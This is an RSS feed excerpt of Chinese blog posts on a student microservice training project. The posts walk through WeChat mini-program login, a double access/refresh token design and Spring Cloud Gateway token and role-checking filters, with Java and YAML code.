&lt;p&gt;将校验逻辑抽取到独立的类中，这样在每个端的&lt;code&gt;GatewayFilterFactory&lt;/code&gt;中就可以共用了。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;com.sl.gateway.filter.TokenGatewayFilter&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images-end/13.png&quot; alt=&quot;image-20240717161839857&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;package com.sl.gateway.filter;

import cn.hutool.core.collection.CollUtil;
import cn.hutool.core.util.ObjectUtil;
import cn.hutool.core.util.StrUtil;
import cn.hutool.json.JSONUtil;
import com.itheima.auth.factory.AuthTemplateFactory;
import com.itheima.auth.sdk.AuthTemplate;
import com.itheima.auth.sdk.dto.AuthUserInfoDTO;
import com.itheima.auth.sdk.service.TokenCheckService;
import com.sl.gateway.config.MyConfig;
import com.sl.transport.common.constant.Constants;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.cloud.gateway.filter.GatewayFilter;
import org.springframework.cloud.gateway.filter.GatewayFilterChain;
import org.springframework.http.HttpStatus;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;

import javax.annotation.Resource;
import java.util.Collection;
import java.util.List;

@Component
public class TokenGatewayFilter implements GatewayFilter {

    @Resource
    private MyConfig myConfig;
    @Resource
    private TokenCheckService tokenCheckService;
    @Value(&quot;${role.manager}&quot;)
    private List&amp;#x3C;Long&gt; managerRoleIds; //获取配置文件中的管理员角色id

    @Override
    public Mono&amp;#x3C;Void&gt; filter(ServerWebExchange exchange, GatewayFilterChain chain) {
        //1. 校验请求路径，如果是白名单，直接放行
        String path = exchange.getRequest().getPath().toString();
        if (StrUtil.startWithAny(path, this.myConfig.getNoAuthPaths())) {
            //直接放行
            return chain.filter(exchange);
        }

        //2. 获取请求头中的token，进行校验，如果为空或校验失效，响应401
        String token = exchange.getRequest().getHeaders().getFirst(Constants.GATEWAY.AUTHORIZATION);
        if (StrUtil.isEmpty(token)) {
            //设置响应状态为401
            exchange.getResponse().setStatusCode(HttpStatus.UNAUTHORIZED);
            //拦截请求
            return exchange.getResponse().setComplete();
        }
        //校验token
        AuthUserInfoDTO authUserInfoDTO = null;
        try {
            authUserInfoDTO = this.tokenCheckService.parserToken(token);
        } catch (Exception e) {
            //token不可用，不做处理
        }

        if (ObjectUtil.isEmpty(authUserInfoDTO)) {
            //token不可用，设置响应状态为401
            exchange.getResponse().setStatusCode(HttpStatus.UNAUTHORIZED);
            //拦截请求
            return exchange.getResponse().setComplete();
        }

        //3. 校验权限，如果是非管理员不能登录
        AuthTemplate authTemplate = AuthTemplateFactory.get(token);
        //3.1 获取用户拥有的角色id列表
        List&amp;#x3C;Long&gt; roleIds = authTemplate.opsForRole().findRoleByUserId(authUserInfoDTO.getUserId()).getData();
        //3.2 取交集，判断用户拥有的角色是否与预定的角色列表是否有交集
        Collection&amp;#x3C;Long&gt; intersection = CollUtil.intersection(roleIds, this.managerRoleIds);
        if (CollUtil.isEmpty(intersection)) {
            //无交集，说明没有权限，设置响应状态码为400
            exchange.getResponse().setStatusCode(HttpStatus.BAD_REQUEST);
            return exchange.getResponse().setComplete();
        }

        //4. 校验通过，向下游传递用户信息和token
        exchange.getRequest().mutate().header(Constants.GATEWAY.USERINFO, JSONUtil.toJsonStr(authUserInfoDTO));
        exchange.getRequest().mutate().header(Constants.GATEWAY.TOKEN, token);
        //4.1 校验通过放行
        return chain.filter(exchange);
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;com.sl.gateway.filter.ManagerTokenGatewayFilterFactory&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images-end/14.png&quot; alt=&quot;image-20240717161734922&quot;&gt;&lt;/p&gt;
&lt;h5&gt;优化二&lt;/h5&gt;
&lt;p&gt;通过前面的优化一已经将过滤器抽取到一个独立的类中，这样就可以在多个过滤器工厂中通用了，但也是存在一些问题的，例如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不同的终端校验的角色id是不同的&lt;/li&gt;
&lt;li&gt;用户端是不需要校验角色的&lt;/li&gt;
&lt;li&gt;用户端校验token的逻辑与其他三端是不一样的&lt;/li&gt;
&lt;li&gt;用户端请求头中的token参数名与其他三端也不一样&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;基于这些问题，就能够意识到，单纯的抽取代码是不够的，需要进一步的优化。想一想，该怎么优化呢？&lt;/p&gt;
&lt;p&gt;优化的思路就是，在&lt;code&gt;TokenGatewayFilter&lt;/code&gt;中保留四端通用的逻辑，不同的逻辑抽取到接口中，由四端具体的实现。&lt;/p&gt;
&lt;p&gt;自定义AuthFilter接口：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;com.sl.gateway.filter.AuthFilter&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images-end/15.png&quot; alt=&quot;image-20240717161552569&quot;&gt;&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;在这次实训中，后面其实还有挺多章节的内容，我没有完成，我只是将其完整的看了一遍&lt;/p&gt;
&lt;p&gt;虽然没有完成整个实训，但我已经粗略的领略到了项目开发流程，从开始的环境搭建到后面微服务的实现，我学习到了中间件的使用，容器的配置，git的管理等等，这些都是在平常学习中不会遇到的问题，所以这次实训也是为我带来了一些别样的收获&lt;/p&gt;</content:encoded><category>项目开发</category></item><item><title>登录与网关配置</title><link>https://antifrag.cn/blog/sl-2</link><guid isPermaLink="true">https://antifrag.cn/blog/sl-2</guid><description>用户端登录</description><pubDate>Wed, 10 Jul 2024 02:26:34 GMT</pubDate><content:encoded>&lt;h3&gt;用户端登录&lt;/h3&gt;
&lt;p&gt;用户端的登录是基于微信小程序登录&lt;/p&gt;
&lt;p&gt;wx小程序搭建：&lt;a href=&quot;https://www.yuque.com/zhangzhijun-91vgw/sl-v2.0/iq0h7dk41eqg3a1v&quot;&gt;前端部署文档&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;env.js&lt;/code&gt;中修改本地接口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/1.png&quot; alt=&quot;image-20240706174048764&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看到本地请求为502&lt;/p&gt;
&lt;p&gt;这是由于本地网关并没有配置导致的后面会进行配置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/2.png&quot; alt=&quot;image-20240706174430919&quot;&gt;&lt;/p&gt;
&lt;p&gt;请求参数（2个参数，code：登录临时凭证，phoneCode：获取手机号的凭证）：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/3.png&quot; alt=&quot;image-20240706174413712&quot;&gt;&lt;/p&gt;
&lt;p&gt;拉取后端代码 &lt;a href=&quot;http://git.sl-express.com/sl/sl-express-ms-web-customer&quot;&gt;sl-express-ms-web-customer&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;登录接口&lt;/h4&gt;
&lt;p&gt;登录接口的实现是在&lt;code&gt;com.sl.ms.web.customer.controller.UserController#login&lt;/code&gt;中&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/4.png&quot; alt=&quot;image-20240706174821877&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看到代码是由&lt;code&gt;UserLoginVO&lt;/code&gt;响应数据对象和&lt;code&gt;UserLoginRequestVO&lt;/code&gt;请求参数对象组成&lt;/p&gt;
&lt;p&gt;我们现看看&lt;code&gt;UserLoginVO&lt;/code&gt;响应数据对象&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;package com.sl.ms.web.customer.vo.user;

import io.swagger.annotations.ApiModelProperty;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;

@Data
@Builder
@NoArgsConstructor
@AllArgsConstructor
public class UserLoginVO {

    @ApiModelProperty(&quot;微信唯一标识符&quot;)
    private String openid;
    @ApiModelProperty(&quot;短令牌，有效期较短&quot;)
    private String accessToken;
    @ApiModelProperty(&quot;长令牌，有效期较长&quot;)
    private String refreshToken;
    @ApiModelProperty(&quot;是否绑定手机号 0否 1是&quot;)
    private Integer binding;

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;UserLoginRequestVO&lt;/code&gt;请求参数对象组成&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;package com.sl.ms.web.customer.vo.user;

import io.swagger.annotations.ApiModelProperty;
import lombok.Data;

/**
 * C端用户登录
 */
@Data
public class UserLoginRequestVO {

    @ApiModelProperty(&quot;登录临时凭证&quot;)
    private String code;

    @ApiModelProperty(&quot;手机号临时凭证&quot;)
    private String phoneCode;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;用户微服务&lt;/h4&gt;
&lt;p&gt;用户端通过微信登陆流程图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/5.png&quot; alt=&quot;流程图&quot;&gt;&lt;/p&gt;
&lt;p&gt;在Jenkins部署&lt;a href=&quot;http://git.sl-express.com/sl/sl-express-ms-user-service&quot;&gt;sl-express-ms-user-service&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/6.png&quot; alt=&quot;image-20240708105311036&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/7.png&quot; alt=&quot;image-20240708105407141&quot;&gt;&lt;/p&gt;
&lt;p&gt;数据库已在服务器部署&lt;/p&gt;
&lt;h4&gt;小程序登录&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;@Value(&quot;${sl.wechat.appid}&quot;)
private String appid;
@Value(&quot;${sl.wechat.secret}&quot;)
private String secret;

public static final String LOGIN_URL = &quot;https://api.weixin.qq.com/sns/jscode2session&quot;;
private static final int TIMEOUT = 20000;

@Override
public JSONObject getOpenid(String code) throws IOException {
    //文档：https://developers.weixin.qq.com/miniprogram/dev/OpenApiDoc/user-login/code2Session.html
    //1. 封装参数
    Map&amp;#x3C;String, Object&gt; requestParam = MapUtil.&amp;#x3C;String, Object&gt;builder().put(&quot;appid&quot;, this.appid) //小程序 appId
            .put(&quot;secret&quot;, this.secret) //小程序 appSecret
            .put(&quot;js_code&quot;, code) //	登录时获取的 code，可通过wx.login获取
            .put(&quot;grant_type&quot;, &quot;authorization_code&quot;) //授权类型
            .build();

    //2. 发送get请求
    HttpResponse response = HttpRequest.get(LOGIN_URL) //设置get请求url
            .form(requestParam) //设置表单参数
            .timeout(TIMEOUT) //设置超时时间，20s
            .execute();//执行请求
    if (response.isOk()) {
        // 3. 解析响应的结果，如果出现错误抛出异常
        JSONObject jsonObject = JSONUtil.parseObj(response.body());
        if (jsonObject.containsKey(&quot;errcode&quot;)) {
            throw new SLWebException(jsonObject.toString());
        }
        return jsonObject;
    }
    String errMsg = StrUtil.format(&quot;调用微信登录接口出错！ code = {}&quot;, code);
    throw new SLWebException(errMsg);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/8.png&quot; alt=&quot;image-20240708105610880&quot;&gt;&lt;/p&gt;
&lt;p&gt;通过小程序登录测试&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/9.png&quot; alt=&quot;image-20240708105827124&quot;&gt;&lt;/p&gt;
&lt;h5&gt;获取手机号&lt;/h5&gt;
&lt;p&gt;想要获取到手机号的要先获取到微信access_token，在获取到手机号，否则获取不到&lt;/p&gt;
&lt;p&gt;&lt;code&gt;com.sl.ms.web.customer.service.impl&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/10.png&quot; alt=&quot;image-20240709104615345&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/11.png&quot; alt=&quot;image-20240709104632774&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;    @Test
    void getPhone() throws IOException {
        //在测试用例中输入自己获取到的 phonecode
        String phone = wechatService.getPhone(&quot;1aaaaa1111&quot;);
        System.out.println(phone);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;实现登录&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;com.sl.ms.web.customer.service.impl.MemberServiceImpl&lt;/code&gt;#login&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/12.png&quot; alt=&quot;image-20240709104923601&quot;&gt;&lt;/p&gt;
&lt;p&gt;生成token实现，这里采用的是RSA加密方式（密钥信息在nacos中的&lt;code&gt;sl-express-ms-web-customer.properties&lt;/code&gt;配置）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;com.sl.ms.web.customer.service.impl.TokenServiceImp&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/13.png&quot; alt=&quot;image-20240709105243144&quot;&gt;&lt;/p&gt;
&lt;p&gt;启动服务，在小程序进行测试&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/14.png&quot; alt=&quot;image-20240709105534105&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看到登录成功&lt;/p&gt;
&lt;h4&gt;双token三验证&lt;/h4&gt;
&lt;h5&gt;单token存在的问题&lt;/h5&gt;
&lt;p&gt;在日常使用中，我们会频繁的进行登录，而在登录的过程中，会先生成jwt的token，前端接收到token将其保存下来，在进行后端服务请求的时候，在请求中携带token，服务端对token进行校验和鉴权，这种模式叫做 &lt;code&gt;单token模式&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在单token模式中，会出现token有效时间的问题，有效时间&lt;code&gt;太短&lt;/code&gt;容易过期，&lt;code&gt;太长&lt;/code&gt;容易被攻击截取。&lt;/p&gt;
&lt;p&gt;在另一方面，token是无状态的，就是说我们不能自如的控制token的状态，无法让他主动失效。&lt;/p&gt;
&lt;h5&gt;方案设计&lt;/h5&gt;
&lt;p&gt;解决问题&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;token有效期长不安全&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;登录成功后，生成2个token，分别是：access_token、refresh_token，前者有效期短（如：5分钟），后者的有效期长（如：24小时）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;正常请求后端服务时，携带access_token，如果发现access_token失效，就通过refresh_token到后台服务中换取新的access_token和refresh_token，这个可以理解为token的续签&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;以此往复，直至refresh_token过期，需要用户重新登录&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;token的无状态性&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;为了使token有状态，也就是后端可以控制其提前失效，需要将refresh_token设计成只能&lt;strong&gt;使用一次&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;需要将refresh_token存储到redis中，并且要设置过期时间&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这样的话，服务端如果检测到用户token有安全隐患（如：异地登录），只需要将refresh_token失效即可&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;代码实现&lt;/h4&gt;
&lt;h5&gt;生成刷新token&lt;/h5&gt;
&lt;p&gt;生成刷新refresh_token的主要逻辑有两点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;生成jwt格式的token，有效期时间一般小时为单位&lt;/li&gt;
&lt;li&gt;将token存入到redis，使token有状态，并且确保只能使用一次&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;com.sl.ms.web.customer.service.impl.TokenServiceImpl&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;public static final String REDIS_REFRESH_TOKEN_PREFIX = &quot;SL_CUSTOMER_REFRESH_TOKEN_&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/15.png&quot; alt=&quot;image-20240709111838201&quot;&gt;&lt;/p&gt;
&lt;h5&gt;刷新token&lt;/h5&gt;
&lt;p&gt;刷新token的动作是在refresh_token过期之后进行的，主要实现关键点有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;校验refresh_token是否被伪造以及是否在有效期内&lt;/li&gt;
&lt;li&gt;从redis中查询，是否不存在，如果不存在说明已经失效或已经使用过，如果存在，就需要将其删除&lt;/li&gt;
&lt;li&gt;重新生成一对token，响应结果&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;com.sl.ms.web.customer.service.impl.TokenServiceImpl&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/16.png&quot; alt=&quot;image-20240709112251066&quot;&gt;&lt;/p&gt;
&lt;p&gt;在Controller中调用上述方法&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;com.sl.ms.web.customer.controller.UserController&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/17.png&quot; alt=&quot;image-20240709112416024&quot;&gt;&lt;/p&gt;
&lt;p&gt;Service中调用&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;com.sl.ms.web.customer.service.impl.MemberServiceImpl&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/18.png&quot; alt=&quot;image-20240709112532232&quot;&gt;&lt;/p&gt;
&lt;h4&gt;完善用户端登录&lt;/h4&gt;
&lt;p&gt;用户端登录成功后，需要在补一个token，之前已经写过一个了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/19.png&quot; alt=&quot;image-20240710082924254&quot;&gt;&lt;/p&gt;
&lt;p&gt;测试&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/20.png&quot; alt=&quot;image-20240710083035707&quot;&gt;&lt;/p&gt;
&lt;h4&gt;网关&lt;/h4&gt;
&lt;h5&gt;网关作用&lt;/h5&gt;
&lt;p&gt;网关能够更好的管理项目分配，每一个客户端都将通过网关传递到服务端&lt;/p&gt;
&lt;p&gt;网关就是每个客户端的中间商，他还能对&lt;code&gt;token&lt;/code&gt;、以及&lt;code&gt;用户的权限&lt;/code&gt;进行有效的校验&lt;/p&gt;
&lt;p&gt;比如说：司机不能登录到快递员端，快递员不能登录到司机端&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/21.png&quot; alt=&quot;image-20240710095125453&quot;&gt;&lt;/p&gt;
&lt;h5&gt;拉取代码&lt;/h5&gt;
&lt;p&gt;从&lt;a href=&quot;http://git.sl-express.com/sl/sl-express-gateway.git&quot;&gt;sl-express-gateway&lt;/a&gt;中拉取网关代码：&lt;/p&gt;
&lt;p&gt;拉取代码后，创建develop分支进行开发&lt;/p&gt;
&lt;p&gt;&lt;code&gt;bootstrap-local.yml&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;server:
  port: 9527
  tomcat:
    uri-encoding: UTF-8
    threads:
      max: 1000
      min-spare: 30
spring:
  cloud:
    nacos:
      username: nacos
      password: nacos
      server-addr: 192.168.150.101:8848
      discovery:
        namespace: ecae68ba-7b43-4473-a980-4ddeb6157bdc
        ip: 192.168.150.1
      config:
        namespace: ecae68ba-7b43-4473-a980-4ddeb6157bdc
    gateway:
      routes:
        - id: sl-express-ms-web-manager #路由标识，需要唯一
          uri: lb://sl-express-ms-web-manager #最终请求转发的微服务，指定的是微服务名，并开启负载均衡
          predicates: #断言
            - Path=/manager/**
          filters: #配置过滤器
            - ManagerToken #自定义局部过滤器
            - StripPrefix=1 #去掉第一个路径，例如：/manager/user/login -转发到下游微服务-&gt; /user/login
            - AddRequestHeader=X-Request-From, sl-express-gateway #转发到下游微服务携带的请求头，增强安全性
      globalcors:
        cors-configurations:
          &apos;[/**]&apos;:
            allowed-origin-patterns: &apos;*&apos;
            allowed-headers: &apos;*&apos;
            allow-credentials: true
            allowed-methods:
              - GET
              - POST
              - DELETE
              - PUT
              - OPTION
      discovery:
        locator:
          enabled: true #表明gateway开启服务注册和发现的功能，并且spring cloud gateway自动根据服务发现为每一个服务创建了一个router，这个router将以服务名开头的请求路径转发到对应的服务
itcast:
  authority:
    host: ${authority.host} #authority服务地址,根据实际情况更改
    port: ${authority.port} #authority服务端口
    timeout: ${authority.timeout} #http请求的超时时间
    public-key-file: auth/pub.key
    applicationId: ${authority.applicationId}

#角色id
role:
  manager: ${role.manager}
  courier: ${role.courier}
  driver: ${role.driver}

sl:
  noAuthPaths:
    - /courier/login/account
    - /courier/swagger-ui.html
    - /courier/webjars/
    - /courier/swagger-resources
    - /courier/v2/api-docs
    - /courier/doc.html
    - /customer/user/login
    - /customer/user/refresh
    - /customer/swagger-ui.html
    - /customer/webjars/
    - /customer/swagger-resources
    - /customer/v2/api-docs
    - /customer/doc.html
    - /driver/login/account
    - /driver/swagger-ui.html
    - /driver/webjars/
    - /driver/swagger-resources
    - /driver/v2/api-docs
    - /driver/doc.html
    - /manager/login
    - /manager/webjars/
    - /manager/swagger-resources
    - /manager/v2/api-docs
    - /manager/doc.html
    - /manager/captcha
  jwt:
    public-key: ${sl.jwt.user-secret-key}
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;自定义过滤器配置&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/22.png&quot; alt=&quot;image-20240710095615927&quot;&gt;&lt;/p&gt;
&lt;h5&gt;过滤器实现&lt;/h5&gt;
&lt;p&gt;在过滤器中主要实现以下几个功能：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;白名单放行&lt;/li&gt;
&lt;li&gt;请求头中的token是否有效&lt;/li&gt;
&lt;li&gt;权限是否匹配（校验角色）&lt;/li&gt;
&lt;li&gt;向下游微服务传递解析token的数据以及token值&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;代码实现：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;/**
 * 管理端token校验的过滤器
 */
@Component
public class ManagerTokenGatewayFilterFactory extends AbstractGatewayFilterFactory&amp;#x3C;Object&gt; {

    @Resource
    private MyConfig myConfig;
    @Resource
    private TokenCheckService tokenCheckService;
    @Value(&quot;${role.manager}&quot;)
    private List&amp;#x3C;Long&gt; managerRoleIds; //获取配置文件中的管理员角色id

    @Override
    public GatewayFilter apply(Object config) {
        return (exchange, chain) -&gt; {
            //1. 校验请求路径，如果是白名单，直接放行
            String path = exchange.getRequest().getPath().toString();
            if (StrUtil.startWithAny(path, this.myConfig.getNoAuthPaths())) {
                //直接放行
                return chain.filter(exchange);
            }

            //2. 获取请求头中的token，进行校验，如果为空或校验失效，响应401
            String token = exchange.getRequest().getHeaders().getFirst(Constants.GATEWAY.AUTHORIZATION);
            if (StrUtil.isEmpty(token)) {
                //设置响应状态为401
                exchange.getResponse().setStatusCode(HttpStatus.UNAUTHORIZED);
                //拦截请求
                return exchange.getResponse().setComplete();
            }
            //校验token
            AuthUserInfoDTO authUserInfoDTO = null;
            try {
                authUserInfoDTO = this.tokenCheckService.parserToken(token);
            } catch (Exception e) {
                //token不可用，不做处理
            }

            if (ObjectUtil.isEmpty(authUserInfoDTO)) {
                //token不可用，设置响应状态为401
                exchange.getResponse().setStatusCode(HttpStatus.UNAUTHORIZED);
                //拦截请求
                return exchange.getResponse().setComplete();
            }

            //3. 校验权限，如果是非管理员不能登录
            AuthTemplate authTemplate = AuthTemplateFactory.get(token);
            //3.1 获取用户拥有的角色id列表
            List&amp;#x3C;Long&gt; roleIds = authTemplate.opsForRole().findRoleByUserId(authUserInfoDTO.getUserId()).getData();
            //3.2 取交集，判断用户拥有的角色是否与预定的角色列表是否有交集
            Collection&amp;#x3C;Long&gt; intersection = CollUtil.intersection(roleIds, this.managerRoleIds);
            if (CollUtil.isEmpty(intersection)) {
                //无交集，说明没有权限，设置响应状态码为400
                exchange.getResponse().setStatusCode(HttpStatus.BAD_REQUEST);
                return exchange.getResponse().setComplete();
            }

            //4. 校验通过，向下游传递用户信息和token
            exchange.getRequest().mutate().header(Constants.GATEWAY.USERINFO, JSONUtil.toJsonStr(authUserInfoDTO));
            exchange.getRequest().mutate().header(Constants.GATEWAY.TOKEN, token);
            //4.1 校验通过放行
            return chain.filter(exchange);
        };
    }

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;测试&lt;/h5&gt;
&lt;p&gt;将网关启动，测试http://127.0.0.1:9527/manager/doc.html#/home看能不能正常看到页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/23.png&quot; alt=&quot;image-20240710100121839&quot;&gt;&lt;/p&gt;
&lt;p&gt;配置前端&lt;/p&gt;
&lt;p&gt;将测试URL改为&lt;code&gt;VUE_APP_BASE_URL = &apos;http://192.168.150.1:9527/manager&apos;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/24.png&quot; alt=&quot;image-20240710100159599&quot;&gt;&lt;/p&gt;
&lt;p&gt;将代码上传git&lt;/p&gt;
&lt;p&gt;在Jenkins构造项目&lt;/p&gt;
&lt;p&gt;访问http://admin.sl-express.com/&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/25.png&quot; alt=&quot;image-20240710100755861&quot;&gt;&lt;/p&gt;
&lt;p&gt;验证码端口可以看到是9527，部署成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://antifrag.cn/images/sl-images2/26.png&quot; alt=&quot;image-20240710100922312&quot;&gt;&lt;/p&gt;
&lt;h4&gt;代码优化&lt;/h4&gt;
&lt;h5&gt;优化一&lt;/h5&gt;
&lt;p&gt;将校验逻辑抽取到独立的类中，这样在每个端的&lt;code&gt;GatewayFilterFactory&lt;/code&gt;中就可以共用了。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;com.sl.gateway.filter.TokenGatewayFilter&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;package com.sl.gateway.filter;

import cn.hutool.core.collection.CollUtil;
import cn.hutool.core.util.ObjectUtil;
import cn.hutool.core.util.StrUtil;
import cn.hutool.json.JSONUtil;
import com.itheima.auth.factory.AuthTemplateFactory;
import com.itheima.auth.sdk.AuthTemplate;
import com.itheima.auth.sdk.dto.AuthUserInfoDTO;
import com.itheima.auth.sdk.service.TokenCheckService;
import com.sl.gateway.config.MyConfig;
import com.sl.transport.common.constant.Constants;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.cloud.gateway.filter.GatewayFilter;
import org.springframework.cloud.gateway.filter.GatewayFilterChain;
import org.springframework.http.HttpStatus;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;

import javax.annotation.Resource;
import java.util.Collection;
import java.util.List;

@Component
public class TokenGatewayFilter implements GatewayFilter {

    @Resource
    private MyConfig myConfig;
    @Resource
    private TokenCheckService tokenCheckService;
    @Value(&quot;${role.manager}&quot;)
    private List&amp;#x3C;Long&gt; managerRoleIds; //获取配置文件中的管理员角色id

    @Override
    public Mono&amp;#x3C;Void&gt; filter(ServerWebExchange exchange, GatewayFilterChain chain) {
        //1. 校验请求路径，如果是白名单，直接放行
        String path = exchange.getRequest().getPath().toString();
        if (StrUtil.startWithAny(path, this.myConfig.getNoAuthPaths())) {
            //直接放行
            return chain.filter(exchange);
        }

        //2. 获取请求头中的token，进行校验，如果为空或校验失效，响应401
        String token = exchange.getRequest().getHeaders().getFirst(Constants.GATEWAY.AUTHORIZATION);
        if (StrUtil.isEmpty(token)) {
            //设置响应状态为401
            exchange.getResponse().setStatusCode(HttpStatus.UNAUTHORIZED);
            //拦截请求
            return exchange.getResponse().setComplete();
        }
        //校验token
        AuthUserInfoDTO authUserInfoDTO = null;
        try {
            authUserInfoDTO = this.tokenCheckService.parserToken(token);
        } catch (Exception e) {
            //token不可用，不做处理
        }

        if (ObjectUtil.isEmpty(authUserInfoDTO)) {
            //token不可用，设置响应状态为401
            exchange.getResponse().setStatusCode(HttpStatus.UNAUTHORIZED);
            //拦截请求
            return exchange.getResponse().setComplete();
        }

        //3. 校验权限，如果是非管理员不能登录
        AuthTemplate authTemplate = AuthTemplateFactory.get(token);
        //3.1 获取用户拥有的角色id列表
        List&amp;#x3C;Long&gt; roleIds = authTemplate.opsForRole().findRoleByUserId(authUserInfoDTO.getUserId()).getData();
        //3.2 取交集，判断用户拥有的角色是否与预定的角色列表是否有交集
        Collection&amp;#x3C;Long&gt; intersection = CollUtil.intersection(roleIds, this.managerRoleIds);
